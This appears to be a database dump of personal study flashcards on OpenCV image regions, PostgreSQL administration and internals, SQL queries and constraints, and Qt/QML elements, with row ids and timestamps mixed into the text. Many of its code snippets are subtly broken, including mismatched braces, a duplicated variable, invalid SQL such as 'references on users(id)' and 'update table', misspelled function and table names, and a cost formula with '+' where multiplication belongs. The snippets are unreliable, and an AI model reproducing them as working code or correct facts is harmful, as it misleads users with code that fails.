cv::Scalar{50, 50, 50}};\ncv::Mat gray{cv::Size{500, 500}, CV_8U, cv::Scalar{50}};\ncolored.convertTo(gray, CV_8U); code txt 2024-07-28 10:11:51.531779 -6154 1852 #include \n#include text txt 2024-07-28 10:11:52.060794 -6155 1852 int main()\n{\n cv::Mat background{cv::Size{500, 500}, CV_8UC3, cv::Scalar{0, 0, 0}};\n cv::Mat foreground{cv::Size{50, 50}, CV_8UC3, cv::Scalar{0, 0, 255}};\n cv::Rect frame{\n background.cols - foreground.cols,\n background.rows - foreground.rows,\n foreground.cols,\n foreground.rows};\n cv::Mat region{background, frame};\n foreground.copyTo(region);\n} code txt 2024-07-28 10:11:52.082278 -6156 1853 #include \n#include text txt 2024-07-28 10:11:52.586233 -6157 1853 int main()\n{\n cv::Mat background{cv::Size{500, 500}, CV_8UC3, cv::Scalar{0, 0, 0}};\n cv::Mat foreground{cv::Size{50, 50}, CV_8UC3, cv::Scalar{0, 0, 255}};\n cv::Mat region{\n cv::Range{background.rows - foreground.rows, background.rows},\n cv::Range{background.cols - foreground.cols, background.cols}\n };\n cv::Mat region{background, frame};\n foreground.copyTo(region);\n} code txt 2024-07-28 10:11:52.608271 -6158 1854 cv::Mat region = image.rowRange(start, end);\ncv::Mat region = image.colRange(start, end); code txt 2024-07-28 10:11:52.900257 -6159 1855 Some OpenCV operations allow you to define a mask that will limit the\napplicability of a given function or method, which is normally supposed to\noperate on all the image pixels. A mask is an 8-bit image that should be\nnonzero at all locations where you want an operation to be applied. At the\npixel locations that correspond to the zero values of the mask, the image is\nuntouched. text txt 2024-07-28 10:11:53.382427 -6160 1855 Most of the OpenCV pixel-based operations give you the opportunity to use\nmasks. text txt 2024-07-28 10:11:53.403731 -6161 1855 cv::Mat image = cv::imread("sample.png"};\ncv::Mat logo = cv::imread{"logo.png"};\ncv::Rect region{image.cols - log.cols, image.rows - logo.rows, logo.cols, logo.rows};\ncv::Mat mask{logo};\nlogo.copyTo(region, mask); code txt 2024-07-28 10:11:53.425846 -6162 1856 - **Atomicity**: Complex database operations is proccessed as a single\n instruction.\n- **Consistency**: Data within the database will not be corrupted due to\n partially performed operations.\n- **Isolation**: Allows database to handle concurrency, without interleaved\n changes.\n- **Durability**: Database engine is supposed to protect the data it\n contains, even in the case of software and hardware failures. text txt 2024-07-28 10:11:54.267686 -6163 1857 PostgreSQL stores its data on storage system in binary format and this format\ncould possibly change between major versions. text txt 2024-07-28 10:11:54.461382 -6164 1858 PostgreSQL provides support and upgrades for 5 years after a new release is\nissued; after this length of time, a major release will reach its end of life\n(EOL) and PostgreSQL developers will no longer maintain it. text txt 2024-07-28 10:11:54.682374 -6165 1859 A PostgreSQL instance is called a cluster because a single instance can serve\nand handle multiple databases. text txt 2024-07-28 10:11:54.883534 -6166 1860 A database can be organized into namespaces, called schemas. Schemas cannot\nbe nested, so they represent a flat namespace. text txt 2024-07-28 10:11:55.089134 -6167 1861 Database objects are represented by everything the user can create and manage\nwithin the database; for instance, tables, functions, triggers, and data\ntypes. text txt 2024-07-28 10:11:55.306667 -6168 1862 Every object belongs to one and only one schema that, if not specified, is\nthe default public schema. text txt 2024-07-28 10:11:55.503624 -6169 1863 Users are defined at a cluster-wide level, which means they are not tied to a\nparticular database in the cluster. text txt 2024-07-28 10:11:55.70808 -6170 1864 PostgreSQL has two user categories: normal users who can connect to and\nhandle databases and objects, and superusers who can do anything with any\ndatabase object. text txt 2024-07-28 10:11:55.933869 -6171 1865 PostgreSQL allows the configuration of as many superusers as you need, and\nevery superuser has the very same permissions. text txt 2024-07-28 10:11:56.133135 -6172 1866 PostgreSQL internal data, such as users, databases, namespaces,\nconfiguration, and database runtime status, is provided by means of catalogs,\nwhich are special tables that present information in a SQL-interactive way. text txt 2024-07-28 10:11:56.360331 -6173 1867 PostgreSQL stores all of its content in a single filesystem directory known\nas `PGDATA`. text txt 2024-07-28 10:11:56.568083 -6174 1868 The `PGDATA` directory represents what the cluster is serving as databases, and\nit consists of at least the write-ahead logs (WALs) and the data storage. text txt 2024-07-28 10:11:56.769528 -6175 1869 It is possible to have a single installation of PostgreSQL and make it switch\nto different `PGDATA` directories to deliver different content. text txt 2024-07-28 10:11:56.969283 -6176 1870 The `PGDATA` directory needs to be initialized by creation of the directory\nstructure within it before it can be used by PostgreSQL. text txt 2024-07-28 10:11:57.179645 -6177 1871 The first single process of PostgreSQL is **postmaster** which waits for incoming\nclient connections. text txt 2024-07-28 10:11:57.381265 -6178 1872 The postmaster process forks backend processes which each of them serve one\nand only one connection. text txt 2024-07-28 10:11:57.589351 -6179 1873 First build the project: text txt 2024-07-28 10:11:58.139084 -6180 1873 git clone https://github.com - https://github.com/postgresql/postgresql\ncd postgresql\ngit checkout \n./configure --prefix=$HOME/.local\nmake\nmake install code txt 2024-07-28 10:11:58.159473 -6181 1873 Create postgres user and initialize database: text txt 2024-07-28 10:11:58.179316 -6182 1873 sudo useradd postgres\nsudo mkdir /opt/postgres\nsudo chown postgres:postgres /opt/postgres\ninitdb -D /opt/postgresql code txt 2024-07-28 10:11:58.200383 -6183 1874 ./configure --prefix=$HOME/.local --with-systemd code txt 2024-07-28 10:11:58.443437 -6184 1875 git clone https://github.com - https://github.com/theory/pgenv\ncp pgenv/bin/pgenv ~/.local/bin/\npgenv available\npgenv build code txt 2024-07-28 10:11:58.734297 -6185 1876 psql -U postgres -h localhost template1 code txt 2024-07-28 10:11:58.956833 -6186 1877 target_link_libraries(executable PRIVATE pq pqxx) code txt 2024-07-28 10:11:59.199459 -6187 1878 `pg_ctl` command-line utility is shipped with postgres that helps in managing\nthe clusters. text txt 2024-07-28 10:11:59.436061 -6188 1879 * `start`, `stop`, and `restart` execute the corresponding actions.\n* `status` reports current status of cluster.\n* `reload` reloads the configuration.\n* `initdb` or briefly `init` executes the initialization of the cluster.\n* `promote` is used when the cluster is running as a subordinate server in a\n replication setup and now must be detached from the origin master and\n become independent. text txt 2024-07-28 10:11:59.74215 -6189 1880 `postmaster` process is started by `pg_ctl start` and prints\n`$PGENV_ROOT/bin/postgres` when it runs. text txt 2024-07-28 10:11:59.956849 -6190 1881 * `smart`: waits for connected clients to disconnect first\n* `fast`: immediately disconnects clients but cleans up before exit\n* `immediate`: aborts every postgres process and exists text txt 2024-07-28 10:12:00.312578 -6191 1881 $PGENV_ROOT/bin/postgres stop -m smart code txt 2024-07-28 10:12:00.333877 -6192 1881 By default `fast` stop mode is the default. text txt 2024-07-28 10:12:00.354142 -6193 1882 Postgres must be run by an unprivileged user.\nPostgres is run by a normal user usually named `postgres`. text txt 2024-07-28 10:12:00.643455 -6194 1882 sudo -E -u postgres pg_ctl stop code txt 2024-07-28 10:12:00.665256 -6195 1883 That almost every Postgres-related command searches for the value of PGDATA\nas an environmental variable or as a `-D` command-line option. text txt 2024-07-28 10:12:01.01661 -6196 1883 export PGDATA=/opt\npg_ctl status -D /usr/local code txt 2024-07-28 10:12:01.036177 -6197 1883 Option `-D` precedes using environment variables. text txt 2024-07-28 10:12:01.058023 -6198 1884 `template0` and `template1` are first databases. `template0` is a safe copy\nfor rebuilding in case `template1` is accidentally damaged or removed. text txt 2024-07-28 10:12:01.274272 -6199 1885 You can either use command options or use a connection string to address a\ncluster. text txt 2024-07-28 10:12:01.598849 -6200 1885 psql -U -h -d \npsql postgresql://username@hostname:5432/database code txt 2024-07-28 10:12:01.621002 -6201 1886 \\\\q code txt 2024-07-28 10:12:01.869601 -6202 1887 psql -l code txt 2024-07-28 10:12:02.125238 -6203 1888 When you connect to an instance, you connect to one of the nodes in the\ncluster. text txt 2024-07-28 10:12:02.424211 -6204 1888 ${PGENV_ROOT}/bin/initdb code txt 2024-07-28 10:12:02.445857 -6205 1889 Trust is enabled on local connections by default. You can change this by\nediting `pg_hba.conf` or using the option `-A`, or `--auth-local` and\n`--auth-host`, the next time you run initdb. text txt 2024-07-28 10:12:02.779845 -6206 1889 ${PGENV_ROOT}/bin/initdb --auth-local --auth-host code txt 2024-07-28 10:12:02.801364 -6207 1890 Postgres builds the filesystem layout of `PGDATA` directory and builds two\ntemplate databases `template0` and `template1`. text txt 2024-07-28 10:12:03.021832 -6208 1891 su -u postgres psql -d template1 -h postgres code txt 2024-07-28 10:12:03.34428 -6209 1891 select current_time; code txt 2024-07-28 10:12:03.365827 -6210 1892 select current_time \\\\g code txt 2024-07-28 10:12:03.608767 -6211 1893 \\\\e code txt 2024-07-28 10:12:03.88255 -6212 1893 Opens the editor specified in `EDITOR` environment variable. text txt 2024-07-28 10:12:03.903576 -6213 1894 \\\\i code txt 2024-07-28 10:12:04.150824 -6214 1895 \\\\h select code txt 2024-07-28 10:12:04.413943 -6215 1896 \\\\? code txt 2024-07-28 10:12:04.6535 -6216 1897 https://pg-sql.com text txt 2024-07-28 10:12:05.527981 -6217 1898 create table cities (name varchar(50), country varchar(50), population int, area int); code txt 2024-07-28 10:12:05.757492 -6218 1899 insert into cities (name, country, population, area)\nvalues ('Tehran', 'Iran', 15000000, 40000),\n ('Munich', 'Germany', 8000000, 20000); code txt 2024-07-28 10:12:06.058698 -6219 1900 select * from cities;\nselect name, country from cities; code txt 2024-07-28 10:12:06.305168 -6220 1901 There are eight main arithmetic operations available in SQL: text txt 2024-07-28 10:12:06.741267 -6221 1901 1. Addition `+`\n2. Subtraction `-`\n3. Multiplication `*`\n4. Division `/`\n5. Power `^`\n6. Square Root `|/`\n7. Absolute Value `@`\n8. Remainder `%` text txt 2024-07-28 10:12:06.762013 -6222 1901 select name, population / area from cities; code txt 2024-07-28 10:12:06.781812 -6223 1902 select name, population / area as density from cities; code txt 2024-07-28 10:12:06.997354 -6224 1903 - Concatanation either by `||` operator or `concat()` function\n- Change case by `lower()` and `upper()`\n- Length of string with `length()` text txt 2024-07-28 10:12:07.338334 -6225 1903 select firstname || ' ' || lastname as fullname from staff;\nselect concat(firstname, ' ', lastname) as fullname from staff; code txt 2024-07-28 10:12:07.359585 -6226 1904 select name, area from cities where area > 40000; code txt 2024-07-28 10:12:07.614327 -6227 1905 In a simple select query statement: text txt 2024-07-28 10:12:07.942231 -6228 1905 select name, area from cities where area > 40000; code txt 2024-07-28 10:12:07.962242 -6229 1905 The source `from` would be read first. Then, the filtering `where` reduces\nthe results. Finally, the columns would be selected. text txt 2024-07-28 10:12:07.982661 -6230 1906 select name, country from cities where country in ('USA', 'Germany', 'France'); code txt 2024-07-28 10:12:08.23304 -6231 1907 select name, country from cities where country not in ('USA', 'Germany', 'France'); code txt 2024-07-28 10:12:08.488196 -6232 1908 - Equality `=`\n- Greater `>`\n- Less `<`\n- Greater or Equal `>=`\n- Less or Equal `<=`\n- Inequality `<>` or `!=`\n- between two `between`\n- exists in list `in`\n- not exists in list `not in` text txt 2024-07-28 10:12:08.829557 -6233 1909 - `and`\n- `or` text txt 2024-07-28 10:12:09.164223 -6234 1909 select device, manufacturer from devices where country in ('USA', 'China');\nselect device, manufacturer from devices where country = 'USA' or country = 'China';\nselect device, manufacturer from devices where country = 'USA' and manufacturer = 'ASUS'; code txt 2024-07-28 10:12:09.185792 -6235 1910 select name, country, population / area as density from cities where population / area > 40000; code txt 2024-07-28 10:12:09.419391 -6236 1911 update cities set population = 20000000 where name = 'Tehran'; code txt 2024-07-28 10:12:09.649574 -6237 1912 delete from cities where name = 'Tehran'; code txt 2024-07-28 10:12:09.914107 -6238 1913 delete from cities; code txt 2024-07-28 10:12:10.173878 -6239 1914 - one to one\n- one to many\n- many to one\n- many to many text txt 2024-07-28 10:12:10.453844 -6240 1915 - Each row in every table has one primary key (not empty)\n- No other row in the same table can have the same value (unique)\n- 99% of the time called id\n- Either an integer or a UUID\n- Will never change text txt 2024-07-28 10:12:10.712869 -6241 1916 Using `serial` in postgres, we will have a value typed as integral and auto\ngenerate unique IDs. text txt 2024-07-28 10:12:11.095855 -6242 1916 create table users (\n id serial primary key,\n username varchar(50)\n) code txt 2024-07-28 10:12:11.116929 -6243 1917 - Rows only have this key if they have a cell that belongs to another record\n- Many rows in the same table can have the same foreign key\n- Name varies, usually called something like `xyz_id`\n- Exactly equal to the primary key of the referenced row\n- Will change if the relationship changes text txt 2024-07-28 10:12:11.391472 -6244 1918 create table photos (\n id serial primary key,\n url varchar(1000),\n user_id integer references users(id)\n) code txt 2024-07-28 10:12:11.697688 -6245 1919 A record having foreign key referencing to an existing record would be\nsuccessful. But a record referencing to an invalid record will fail. Also,\nwhen inserting a record having foreign key set to `NULL` is also a successful\ninsertion. text txt 2024-07-28 10:12:12.038263 -6246 1919 insert into photos (url, user_id) values ('https://cdn1.example.com - https://cdn1.example.com/image1.jpg', NULL); code txt 2024-07-28 10:12:12.0615 -6247 1920 - `on delete restrict`: throw an error when deleting the record having foreign keys referenced to it\n- `on delete no action`: same as above\n- `on delete cascade`: delete the referencing record too\n- `on delete set null`: set the foreign key value to NULL\n- `on delete set default`: set the forign key value to a default value text txt 2024-07-28 10:12:12.372397 -6248 1921 When the action after deletion of referenced record is not specified for a\nforeign key, `on delete restrict` is the default. text txt 2024-07-28 10:12:12.739786 -6249 1921 create table photos (\n id serial primary key,\n url varchar(1000),\n user_id integer references on users(id) on delete restrict\n) code txt 2024-07-28 10:12:12.760586 -6250 1922 select url, username\nfrom users\njoin photos on users.id = photos.user_id; code txt 2024-07-28 10:12:13.040006 -6251 1923 create table photos (\n id serial primary key,\n url varchar(50) not null,\n user_id integer default 0 references on users(id) on delete set default\n) code txt 2024-07-28 10:12:13.389689 -6252 1924 - **join** or **inner join** text txt 2024-07-28 10:12:14.226148 -6253 1924 select photo_id, user_id\nfrom users\njoin photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.246587 -6254 1924 - **left outer join** text txt 2024-07-28 10:12:14.26781 -6255 1924 select photo_id, user_id\nfrom users\nleft join photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.290225 -6256 1924 - **right outer join** text txt 2024-07-28 10:12:14.310626 -6257 1924 select photo_id, user_id\nfrom users\nright join photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.330937 -6258 1924 - **full join** text txt 2024-07-28 10:12:14.352322 -6259 1924 select photo_id, user_id\nfrom users\nfull join photos on photos.user_id = users.id; code txt 2024-07-28 10:12:14.374131 -6260 1925 select photo_id, user_id\nfrom users\njoin photos on photos.user_id = users.id\nwhere photos.views > 2000; code txt 2024-07-28 10:12:14.657444 -6261 1926 - Reduces many rows down to fewer rows\n- Done by using the 'GROUP BY' keyword\n- Visualizing the result is key to use text txt 2024-07-28 10:12:14.94676 -6262 1927 1. Group records by a specific column, e.g. `user_id`\n2. Find the set of all unqiue values in that column\n3. Take each record and assign to a group based on grouped unique values text txt 2024-07-28 10:12:15.214327 -6263 1928 select user_id\nfrom comments\ngroup by user_id; code txt 2024-07-28 10:12:15.467148 -6264 1929 When we are talking about filtering along with an aggregate function, we\nshould be filtering aggregated results with `having` clause. text txt 2024-07-28 10:12:15.985077 -6265 1929 For example, find the number of comments for each photo where *the photo_id\nis less than 3* and *the photo has more than 2 comments*. text txt 2024-07-28 10:12:16.00666 -6266 1929 In this example, the first condition involves with filtering what is going to\nbe grouped, so we use a `where` clause for it. The second condition on the\nother hand, is regarding aggregated results, which we should be using a\n`having` clause to apply it. text txt 2024-07-28 10:12:16.027535 -6267 1929 select photo_id, count(*) as comments\nfrom comments\nwhere photo_id < 3\ngroup by photo_id\nhaving count(*) > 2; code txt 2024-07-28 10:12:16.047794 -6268 1930 select authors.name, count(books.id) as releases\nfrom authors\njoin books on authors. code txt 2024-07-28 10:12:16.329707 -6269 1931 - Reduces many values down to one\n- Done by using aggregate functions text txt 2024-07-28 10:12:16.536522 -6270 1932 - `count()`\n- `min()`\n- `max()`\n- `sum()` text txt 2024-07-28 10:12:16.78631 -6271 1933 select user_id, count(*)\nfrom comments\ngroup by user_id; code txt 2024-07-28 10:12:17.076322 -6272 1934 Records having null value on grouped column will be ignored. To take them\ninto account, you should not use any specific column in `count()` aggregate\nfunction and use `*` instead. text txt 2024-07-28 10:12:17.432866 -6273 1934 select user_id, count(*)\nfrom comments\ngroup by user_id; code txt 2024-07-28 10:12:17.453897 -6274 1935 select max(content)\nfrom comments\ngroup by photo_id; code txt 2024-07-28 10:12:17.723684 -6275 1936 code txt 2024-07-28 10:12:17.977056 -6276 1937 select *\nfrom products\norder by price asc; code txt 2024-07-28 10:12:18.415733 -6277 1937 select *\nfrom products\norder by price desc; code txt 2024-07-28 10:12:18.437313 -6278 1938 select *\nfrom products\norder by price asc, weight desc; code txt 2024-07-28 10:12:18.698273 -6279 1939 Only gives the number of records requested. text txt 2024-07-28 10:12:19.033908 -6280 1939 select *\nfrom users\nlimit 10; code txt 2024-07-28 10:12:19.054089 -6281 1940 `limit` clause goes at the end of query string after `group by` clause if\nexists, and before `offset`. text txt 2024-07-28 10:12:19.263408 -6282 1941 As many number of records as you want can be skipped with `offset` clause. text txt 2024-07-28 10:12:19.587599 -6283 1941 select *\nfrom users\noffset 40; code txt 2024-07-28 10:12:19.607687 -6284 1942 At the end, after `sort by`, `group by`, `having`, and `limit` clauses. text txt 2024-07-28 10:12:19.785515 -6285 1943 There are some cases where two different result sets need to be combined to\nform the desired result set. For example: text txt 2024-07-28 10:12:20.102442 -6286 1943 *Find the 4 products with the highest price, and the 4 products with the\nhighest price/weight ratio*. text txt 2024-07-28 10:12:20.123616 -6287 1944 All columns of queries should match. text txt 2024-07-28 10:12:20.291689 -6288 1945 (\n select product_id\n from products\n order by price desc\n limit 4\n)\nunion\n(\n select product_id\n from products\n order by price / weight desc\n limit 4\n); code txt 2024-07-28 10:12:20.84445 -6289 1945 To retrieve duplicates use `union all` clause. text txt 2024-07-28 10:12:20.86484 -6290 1946 When the last query has `order by` or `limit` or `offset` clauses, the union\ndoesn't know if these clauses should be used on the last query or the entire\nstatement. This is why when we have these clauses in query, we should use\nparenthesis. Otherwise, union works fine without parenthesis. text txt 2024-07-28 10:12:21.272457 -6291 1946 select * from products;\nunion\nselect * from products; code txt 2024-07-28 10:12:21.294329 -6292 1947 select * from products order by price desc limit 4;\nintersect\nselect * from products order by price / weight desc limit 4; code txt 2024-07-28 10:12:21.684533 -6293 1947 Use `intersect all` to have duplicates appearing in both sides. text txt 2024-07-28 10:12:21.70508 -6294 1948 select * from products order by price desc limit 4;\nexcept\nselect * from products order by price / weight desc limit 4; code txt 2024-07-28 10:12:22.093246 -6295 1948 Above clause removes duplicates. Use `except all` to also show duplicates. text txt 2024-07-28 10:12:22.11574 -6296 1949 When a condition requires a value or a set of values that must be collected\nby another query as a prerequisite, we can use subqueries. text txt 2024-07-28 10:12:22.498367 -6297 1949 select name, price\nfrom products\nwhere price > (select max(price) from products where manufacturer = 'Samsung'); code txt 2024-07-28 10:12:22.520191 -6298 1950 select name, price, (select max(price) from products) as max_price\nfrom products; code txt 2024-07-28 10:12:22.793215 -6299 1951 select name, price_weight_ratio\nfrom (select name, price / weight as price_weight_ratio from produts\nwhere price_weight_ratio > 5; code txt 2024-07-28 10:12:23.067005 -6300 1952 create table products (\n id serial primary key,\n name varchar(50),\n price integer not null,\n weight integer\n); code txt 2024-07-28 10:12:23.494578 -6301 1953 alter table products alter column price set not null; code txt 2024-07-28 10:12:23.704075 -6302 1954 update table products set price = 0 where price is null; code txt 2024-07-28 10:12:23.947588 -6303 1955 - Check if the value is already defined (not null)\n- Check if the value is unique in its column (unique)\n- Check if the value is within desired range (comparison operators) text txt 2024-07-28 10:12:24.170086 -6304 1956 create table products (\n id serial primary key,\n name varchar(50),\n price integer default 100,\n weight integer default 0 not null\n); code txt 2024-07-28 10:12:24.542418 -6305 1957 alter table products alter column price set default 0; code txt 2024-07-28 10:12:24.756112 -6306 1958 create table products (\n id serial primary key,\n name varchar(50) unique,\n price integer,\n weight integer,\n); code txt 2024-07-28 10:12:25.088302 -6307 1959 alter table products add unique (name); code txt 2024-07-28 10:12:25.334493 -6308 1960 code txt 2024-07-28 10:12:25.555506 -6309 1961 create table products (\nid serial primary key,\nname varchar(50),\nprice integer not null,\nweight integer,\nunique(name, price)\n): code txt 2024-07-28 10:12:25.918662 -6310 1962 alter table products add unique(name, price); code txt 2024-07-28 10:12:26.132529 -6311 1963 create table products (\n id serial primary key,\n name varchar(50),\n price integer default 0 not null check (price > 0)\n weight integer default 0 not null (weight > 0)\n); code txt 2024-07-28 10:12:26.507749 -6312 1964 alter table products add check(price > 0); code txt 2024-07-28 10:12:26.712775 -6313 1965 create table products (\nid serial primary key,\nname varchar(50) not null,\ncreation timestamp not null,\ndelivery timestamp not null,\ncheck(delivery > creation)\n); code txt 2024-07-28 10:12:27.069543 -6314 1966 - dbdiagram.io\n- drawsql.app\n- sqldbm.com\n- quickdatabasediagrams.com\n- ondras.zarovi.cz/sql/demo text txt 2024-07-28 10:12:27.372312 -6315 1967 alter table likes add check (\n (\n coalesce((post_id)::boolean::integer, 0)\n +\n coalesce((comment_id)::boolean::integer, 0)\n ) = 1\n); code txt 2024-07-28 10:12:27.73822 -6316 1968 show data_directory; code txt 2024-07-28 10:12:28.044192 -6317 1969 select oid, datname from pg_database; code txt 2024-07-28 10:12:28.304993 -6318 1970 select * from pg_class; code txt 2024-07-28 10:12:28.512456 -6319 1971 - **Heap File**: The file stored in the base directory within data directory that contains all the data of a table.\n- **Block** or **Page**: 8KB chunks of heap file each storing some number of rows.\n- **Tuple** or **Item**: Individual row from the table. text txt 2024-07-28 10:12:28.735751 -6320 1972 |Block 1|Block 1|Block 1|Block 1|\n|---|---|---|---|\n|Information about this block|->|->|->|\n|->|->|Loc of item 1|Loc of item 2|\n|Free Space|Free Space|Free Space|Free Space|\n|Free Space|Free Space|Free Space|Free Space|\n|Data for tuple 2|\n|Data for tuple 1| text txt 2024-07-28 10:12:29.087222 -6321 1973 Data structure that efficiently tells us what block a record is stored at. text txt 2024-07-28 10:12:29.285065 -6322 1974 create index users_username_idx on users(username); code txt 2024-07-28 10:12:29.556845 -6323 1975 drop index users_username_idx; code txt 2024-07-28 10:12:29.801517 -6324 1976 explain analyze select * from users where username = 'briansalehi'; code txt 2024-07-28 10:12:30.037944 -6325 1977 select pg_relation_size('users');\nselect pg_relation_size('users_username_idx');\nselect pg_size_pretty(pg_relation_size('users')); code txt 2024-07-28 10:12:30.31592 -6326 1978 select pg_size_pretty(1024); code txt 2024-07-28 10:12:30.560877 -6327 1979 - B-Tree\n- Hash\n- GiST\n- SP-GiST\n- GIN\n- BRIN text txt 2024-07-28 10:12:30.854143 -6328 1980 When primary key exists, and when a column has unique constraint on it. text txt 2024-07-28 10:12:31.059244 -6329 1981 select relname from pg_class where relkind = 'i'; code txt 2024-07-28 10:12:31.33171 -6330 1982 |`users_username_idx`|\n|Meta Page|\n|Leaf Page|\n|Leaf Page|\n|Root Page|\n|Leaf Page| text txt 2024-07-28 10:12:31.612933 -6331 1983 create extension pageinspect; code txt 2024-07-28 10:12:31.829762 -6332 1984 select root from bt_metap('users_username_idx'); code txt 2024-07-28 10:12:32.049805 -6333 1985 The `ctid` column holds the indexes of leaf nodes in the index. text txt 2024-07-28 10:12:32.320117 -6334 1985 select * from bt_page_itesm('users_username_idx', 3); code txt 2024-07-28 10:12:32.34147 -6335 1986 All tables have a hidden `ctid` column which we can query. text txt 2024-07-28 10:12:32.651557 -6336 1986 select ctid, * from users where username = 'briansalehi'; code txt 2024-07-28 10:12:32.673181 -6337 1987 The first row points to the first item of the next page for performance\nreasons. text txt 2024-07-28 10:12:32.905731 -6338 1988 1. Parsing (Parser)\n2. Rewriting\n3. Planning (Planner)\n4. Executing (Executor) text txt 2024-07-28 10:12:33.149115 -6339 1989 - `explain`: build a query plan and display info about it\n- `explain analyze`: build a query plan, run it, and info about it text txt 2024-07-28 10:12:33.381968 -6340 1990 select * from pg_stats where tablename = 'users'; code txt 2024-07-28 10:12:33.631767 -6341 1991 ```\n(# pages read sequencially) * seq_page_cost\n+ (# pages read at random) * random_page_cost\n+ (# rows scanned) * cpu_tuple_cost\n+ (# index entries scanned) + cpu_index_tuple_cost\n+ (# times function/operator evaluated) + cpu_operator_cost\n= cost\n`````` text txt 2024-07-28 10:12:33.973589 -6342 1992 - Open source: qt.io/download-open-source\n- Commercial: qt.io/download text txt 2024-07-28 10:12:34.461276 -6343 1992 chmod u+x qt*.run\n./qt*.run code txt 2024-07-28 10:12:34.482798 -6344 1993 You can select new components to download and install or unselect them to\nremove them from your installation. text txt 2024-07-28 10:12:34.804292 -6345 1993 ${QT_DIR}/MaintenanceTool.exe code txt 2024-07-28 10:12:34.824645 -6346 1994 - `int`\n- `bool`\n- `real`\n- `list` text txt 2024-07-28 10:12:35.158753 -6347 1995 import QtQuick code txt 2024-07-28 10:12:37.281446 -6348 1996 `id` is a very special property-like value, it is used to reference elements\ninside a QML file (document). An `id` needs to be unique inside a document. text txt 2024-07-28 10:12:37.500287 -6349 1997 A property can depend on one or many other properties. This is called\nbinding. A bound property is updated when its dependent properties change. It\nworks like a contract. For example the `height` should always be two times\nthe `width`. text txt 2024-07-28 10:12:37.8941 -6350 1997 Rectangle {\n width: 100\n height: width * 2\n} code txt 2024-07-28 10:12:37.914126 -6351 1998 Some properties are grouped properties. This feature is used when a property\nis more structured and related properties should be grouped together. Another\nway of writing grouped properties is: text txt 2024-07-28 10:12:38.295483 -6352 1998 font {\n family: "Ubuntu"\n pixelSize: 24\n} code txt 2024-07-28 10:12:38.317825 -6353 1999 Text {\n id: label text txt 2024-07-28 10:12:38.842374 -6354 1999 property int spacePresses: 0 text txt 2024-07-28 10:12:38.863149 -6355 1999 text: "Space pressed: " + spacePresses + " times" text txt 2024-07-28 10:12:38.88388 -6356 1999 Keys.onSpacePressed: {\n increment()\n } text txt 2024-07-28 10:12:38.90451 -6357 1999 function increment() {\n spacePresses = spacePresses + 1\n }\n} code txt 2024-07-28 10:12:38.926009 -6358 2000 import QtQuick text txt 2024-07-28 10:12:39.337544 -6359 2000 Window {\n id: root\n width: 480\n height: 600\n title: qsTr('Milestone')\n visible: true\n} code txt 2024-07-28 10:12:39.357973 -6360 2001 Rectangle {\n x: 24\n y: 16\n width: 100\n height: 100\n} code txt 2024-07-28 10:12:39.695611 -6361 2002 Rectangle {\n property int max_text_length: 80\n} code txt 2024-07-28 10:12:39.976056 -6362 2003 Rectangle { text txt 2024-07-28 10:12:40.410943 -6363 2003 property alias text_length: label.length text txt 2024-07-28 10:12:40.43107 -6364 2003 Text {\n id: label\n text: 'sample text'\n property int length: 40\n }\n} code txt 2024-07-28 10:12:40.45153 -6365 2004 code txt 2024-07-28 10:12:40.675654 -6366 2005 The element should have the `focus` property set. text txt 2024-07-28 10:12:41.092081 -6367 2005 Text {\n focus: true text txt 2024-07-28 10:12:41.113663 -6368 2005 Keys.onEscapePressed: {\n label.text = ''\n }\n} code txt 2024-07-28 10:12:41.134655 -6369 2006 `Item` is the base element for all visual elements as such all other visual\nelements inherits from `Item`. The `Item` element is often used as a\ncontainer for other elements, similar to the div element in HTML. text txt 2024-07-28 10:12:41.39022 -6370 2007 - **Geometry:** `x` and `y`, `width` and `height`, and `z` for stacking order\n of lift elements up or down from their natural ordering.\n- **Layout Handling:** `anchors` (left, right, top, bottom, vertical,\n horizontal, center), and optional `margins`.\n- **Key Handling:** attached `Key` and `KeyNavigation` properties and the\n `focus` property to enable key handling in the first place.\n- **Transformation:** `scale` and `rotate` transformation and the generic\n `transform` property list for x,y,x transformation, as well as\n `transformOrigin` point.\n- **Visual:** `opacity` to control transparency, `visible` to control\n visibility, `clip` to restrain paint operations to the element boundary,\n `smooth` to enhance the rendeing quality.\n- **State Definition:** `states` list property with the supported list of\n states, current `state` property, and the `transitions` list property to\n animate state changes. text txt 2024-07-28 10:12:41.842087 -6371 2008 Rectangle extends `Item` and adds a fill color to it. Additionally it\nsupports borders defined by `border.color` and `border.width`. To create\nrounded rectangles you can use the `radius` property. text txt 2024-07-28 10:12:42.258691 -6372 2008 Rectangle {\n color: 'lightsteelblue'\n border.color: 'gray'\n border.width: 3\n} code txt 2024-07-28 10:12:42.278926 -6373 2009 Rectangle {\n height: 100\n width: 300\n radius: 5\n} code txt 2024-07-28 10:12:42.595566 -6374 2010 A gradient is defined by a series of gradient stops. Each stop has a position\nand a color. The position marks the position on the y-axis (`0 = top, 1 =\nbottom`). The color of the `GradientStop` marks the color at that position. text txt 2024-07-28 10:12:43.248408 -6375 2010 import QtQuick text txt 2024-07-28 10:12:43.268532 -6376 2010 Rectangle {\n id: root\n width: 500\n height: 500 text txt 2024-07-28 10:12:43.28897 -6377 2010 gradient: Gradient {\n GradientStop {\n position: 0.0\n color: 'lightsteelblue'\n }\n GradientStop {\n position: 1.0\n color: 'slategray'\n }\n }\n} code txt 2024-07-28 10:12:43.310662 -6378 2011 Text {\n id: label\n color: 'black'\n} code txt 2024-07-28 10:12:43.638529 -6379 2012 Text {\n id: label\n text: 'very long string'\n elide: Text.ElideMiddle\n} code txt 2024-07-28 10:12:43.961492 -6380 2013 Text {\n id: label\n color: 'black'\n font.family: 'FreeSans'\n font.pixelSize: 18\n} code txt 2024-07-28 10:12:44.310881 -6381 2014 - `AlignTop`\n- `AlignBottom`\n- `AlignHCenter`\n- `AlignVCenter` text txt 2024-07-28 10:12:44.72787 -6382 2014 Text {\n id: label\n verticalAlignment: Text.AlignHCenter\n horizontalAlignment: Text.AlignVCenter\n} code txt 2024-07-28 10:12:44.749597 -6383 2015 Text {\n id: label\n style: Text.Sunken\n styleColor: '#FF4488'\n} code txt 2024-07-28 10:12:45.069135 -6384 2016 - PNG\n- JPG\n- GIF\n- BMP\n- WEBP text txt 2024-07-28 10:12:45.364921 -6385 2017 Image {\nid: profile_picture\nx: 15\ny: 15\nsource: 'qrc:images/user.jpg'\nheight: 120\nwidth: 90\nclip: true\nfillMode: Image.PreserveAspectCrop\n} 